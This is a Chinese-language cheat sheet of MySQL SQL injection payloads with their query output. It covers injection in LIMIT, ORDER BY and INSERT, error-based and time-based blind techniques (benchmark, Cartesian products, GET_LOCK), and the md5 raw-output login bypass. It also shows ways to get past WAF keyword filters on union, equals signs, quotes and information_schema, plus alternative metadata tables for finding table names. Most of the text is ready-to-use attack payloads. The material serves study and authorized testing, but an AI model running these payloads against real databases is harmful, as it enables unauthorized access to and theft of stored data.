位于limit后的注入(适用于MySql版本<5.6.6的5.x版本)

select * from user limit 1,1 procedure analyse(updatexml(1,concat(0x7e,database(),0x7e),1),1);

1.jpg

oder by注入

select * from user order by if(1=1,sleep(1),1);

2.jpg

无列名注入

waf拦截了information_schema,columns,tables,database,schema等关键词

mysql> select * from user limit 1,1;
+----+------+
| id | name |
+----+------+
|  2 | xux  |
+----+------+
1 row in set (0.00 sec)

mysql> select `1` from (select 1,2 union select * from user)x limit 2,1;
+---+
| 1 |
+---+
| 2 |
+---+
1 row in set (0.00 sec)

mysql> select `2` from (select 1,2 union select * from user)x limit 2,1;
+-----+
| 2   |
+-----+
| xux |
+-----+
1 row in set (0.00 sec)

mysql> select `1`,`2` from (select 1,2 union select * from user)x limit 2,1;
+---+-----+
| 1 | 2   |
+---+-----+
| 2 | xux |
+---+-----+
1 row in set (0.00 sec)

mysql> select `a`,`b` from (select 1 as a,2 as b union select * from user)x limit 2,1;
+---+-----+
| a | b   |
+---+-----+
| 2 | xux |
+---+-----+
1 row in set (0.00 sec)

mysql> select `a`,`b` from (select 1 a,2 b union select * from user)x limit 2,1;
+---+-----+
| a | b   |
+---+-----+
| 2 | xux |
+---+-----+
1 row in set (0.00 sec)

mysql> select `a`,`b` from (select 1 a,2 b union select * from user)x limit 2 offset 1;
+---+-----+
| a | b   |
+---+-----+
| 1 | Xux |
| 2 | xux |
+---+-----+
2 rows in set (0.00 sec)

利用join无列名注入

waf拦截了union

mysql> select * from user where id=1 and(select * from(select * from user as a join user as b) as c);
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select * from user where id=1 and(select * from(select * from user as a join user as b using(id)) as c);
ERROR 1060 (42S21): Duplicate column name 'name'
mysql> select * from user where id=1 and(select * from(select * from user as a join user as b using(id,name)) as c);
ERROR 1241 (21000): Operand should contain 1 column(s)

3.jpg

这样就能爆出字段名为id,name

这个的原理就是在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候 查询到重复字段,就成功报错

IN

在过滤等号或者过滤like等sql关键词时可以用in

mysql> select substr((select name from user where id=1),1,1);
+------------------------------------------------+
| substr((select name from user where id=1),1,1) |
+------------------------------------------------+
| X                                              |
+------------------------------------------------+
1 row in set (0.00 sec)

mysql> select substr((select name from user where id=1),1,1) in ('X');
+---------------------------------------------------------+
| substr((select name from user where id=1),1,1) in ('X') |
+---------------------------------------------------------+
|                                                       1 |
+---------------------------------------------------------+
1 row in set (0.00 sec)

regexp

过滤等号可以用regexp代替等号

mysql> select if((1 regexp 1),1,2);
+----------------------+
| if((1 regexp 1),1,2) |
+----------------------+
|                    1 |
+----------------------+
1 row in set (0.00 sec)

mysql> select if((1 regexp 2),1,2);
+----------------------+
| if((1 regexp 2),1,2) |
+----------------------+
|                    2 |
+----------------------+
1 row in set (0.00 sec)

Benchmark

Benchmark函数可以设置函数执行的次数 次数多时能达到和sleep同样的效果

mysql> select if(1=1,benchmark(10000000,sha(1)),1);
+--------------------------------------+
| if(1=1,benchmark(10000000,sha(1)),1) |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (2.09 sec)

笛卡尔积时间盲注

所谓叠加全排列就是对多个表做笛卡尔积连接,使之查询时间呈指数增长,也就是说,攻击者将简单的表查询不断地叠加,不断增加系统执行sql语句的负荷,直到产生攻击者想要的时间延迟。为了防止表明重复可能导致不必要的错误,所以一般都会用表别名来区别

mysql> select if(1=1,(select count(*) from information_schema.columns a,information_schema.columns b),1);
+--------------------------------------------------------------------------------------------+
| if(1=1,(select count(*) from information_schema.columns a,information_schema.columns b),1) |
+--------------------------------------------------------------------------------------------+
|                                                                                   17015625 |
+--------------------------------------------------------------------------------------------+
1 row in set (0.67 sec)

GET_LOCK(str,time)

对关键字进行了get_lock,那么再开另一个session再次对关键进行get_lock,就会延时我们指定的时间。此盲注手法有一些限制,就是必须要同时开两个SESSION进行注入。

mysql> select get_lock('xux',5);
+-------------------+
| get_lock('xux',5) |
+-------------------+
|                 1 |
+-------------------+
1 row in set (0.00 sec)
mysql> select get_lock('xux',5);
+-------------------+
| get_lock('xux',5) |
+-------------------+
|                 0 |
+-------------------+
1 row in set (5.00 sec)

绕过'过滤

hex编码:

mysql> select password from users where username=0x44756d62;  //要记得在十六进制前加0x
+----------+
| password |
+----------+
| Dumb     |
+----------+
1 row in set (0.00 sec)

char编码:

mysql> select password from users where username=concat(char(68),char(117),char(109),char(98));
+----------+
| password |
+----------+
| Dumb     |
+----------+
1 row in set (0.00 sec)

md5注入

$sql = "SELECT * FROM admin WHERE username = admin pass ='".md5($password,true)."'";

当md5函数的第二个参数为True时,编码将以16进制返回,再转换为字符串。而字符串ffifdyop129581926211651571912466741651878684928的加密结果为包含’or’ ,or一个非0值为真,也就绕过了检测。

比较注入

mysql> select if((select 1,'a')>(select 1,'ab'),1,2);
+----------------------------------------+
| if((select 1,'a')>(select 1,'ab'),1,2) |
+----------------------------------------+
|                                      2 |
+----------------------------------------+
1 row in set (0.00 sec)

mysql> select if((select 1,'a')>(select 1,'ab'),1,2);
+----------------------------------------+
| if((select 1,'a')>(select 1,'ab'),1,2) |
+----------------------------------------+
|                                      2 |
+----------------------------------------+
1 row in set (0.00 sec)

mysql> select if((select 'e')>(select password from users limit 0,1),1,2);
+-------------------------------------------------------------+
| if((select 'e')>(select password from users limit 0,1),1,2) |
+-------------------------------------------------------------+
|                                                           1 |
+-------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select if((select 'c')>(select password from users limit 0,1),1,2);
+-------------------------------------------------------------+
| if((select 'c')>(select password from users limit 0,1),1,2) |
+-------------------------------------------------------------+
|                                                           2 |
+-------------------------------------------------------------+
1 row in set (0.00 sec)

缺点是不区分大小写

INSERT注入

mysql> insert into users value(1,updatexml(1,concat(0x7e,database(),0x7e),1),1);
ERROR 1105 (HY000): XPATH syntax error: '~security~'

无information_schema找表名的替代方法

innodb

MySQL 5.7之后的版本,在其自带的 mysql 库中,新增了innodb_table_stats 和innodb_index_stats这两张日志表。如果数据表的引擎是innodb ,则会在这两张表中记录表、键的信息 。 如果waf掉了information我们可以利用这两个表注入数据库名和表名。

mysql> select * from mysql.innodb_table_stats;
+---------------+---------------+---------------------+--------+----------------------+--------------------------+
| database_name | table_name    | last_update         | n_rows | clustered_index_size | sum_of_other_index_sizes |
+---------------+---------------+---------------------+--------+----------------------+--------------------------+
| mysql         | gtid_executed | 2019-05-06 13:42:05 |      0 |                    1 |                        0 |
| sys           | sys_config    | 2019-05-06 13:42:05 |      6 |                    1 |                        0 |
+---------------+---------------+---------------------+--------+----------------------+--------------------------+
2 rows in set (0.00 sec)

mysql> select * from mysql.innodb_index_stats;
+---------------+---------------+------------+---------------------+--------------+------------+-------------+-----------------------------------+
| database_name | table_name    | index_name | last_update         | stat_name    | stat_value | sample_size | stat_description                  |
+---------------+---------------+------------+---------------------+--------------+------------+-------------+-----------------------------------+
| mysql         | gtid_executed | PRIMARY    | 2019-05-06 13:42:05 | n_diff_pfx01 |          0 |           1 | source_uuid                       |
| mysql         | gtid_executed | PRIMARY    | 2019-05-06 13:42:05 | n_diff_pfx02 |          0 |           1 | source_uuid,interval_start        |
| mysql         | gtid_executed | PRIMARY    | 2019-05-06 13:42:05 | n_leaf_pages |          1 |        NULL | Number of leaf pages in the index |
| mysql         | gtid_executed | PRIMARY    | 2019-05-06 13:42:05 | size         |          1 |        NULL | Number of pages in the index      |
| sys           | sys_config    | PRIMARY    | 2019-05-06 13:42:05 | n_diff_pfx01 |          6 |           1 | variable                          |
| sys           | sys_config    | PRIMARY    | 2019-05-06 13:42:05 | n_leaf_pages |          1 |        NULL | Number of leaf pages in the index |
| sys           | sys_config    | PRIMARY    | 2019-05-06 13:42:05 | size         |          1 |        NULL | Number of pages in the index      |
+---------------+---------------+------------+---------------------+--------------+------------+-------------+-----------------------------------+
7 rows in set (0.00 sec)

MySQL 5.7版中,新加入了sys schema,里面整合了各种资料库资讯 其中对我们最有用的资讯大概就是statement_analysis表中的query,里面纪录着我们执行过的SQL语句(normalize过的)和一些数据

sys.statement_analysis

该表中的query记录着我们执行过的SQL语句(normalize过的)和一些数据

select query from sys.statement_analysis;

4.jpg

sys.x$schema_flattened_keys

select * from sys.x$schema_flattened_keys;

5.jpg

sys.schema_table_statistics

select table_name from sys.schema_table_statistics;

6.jpg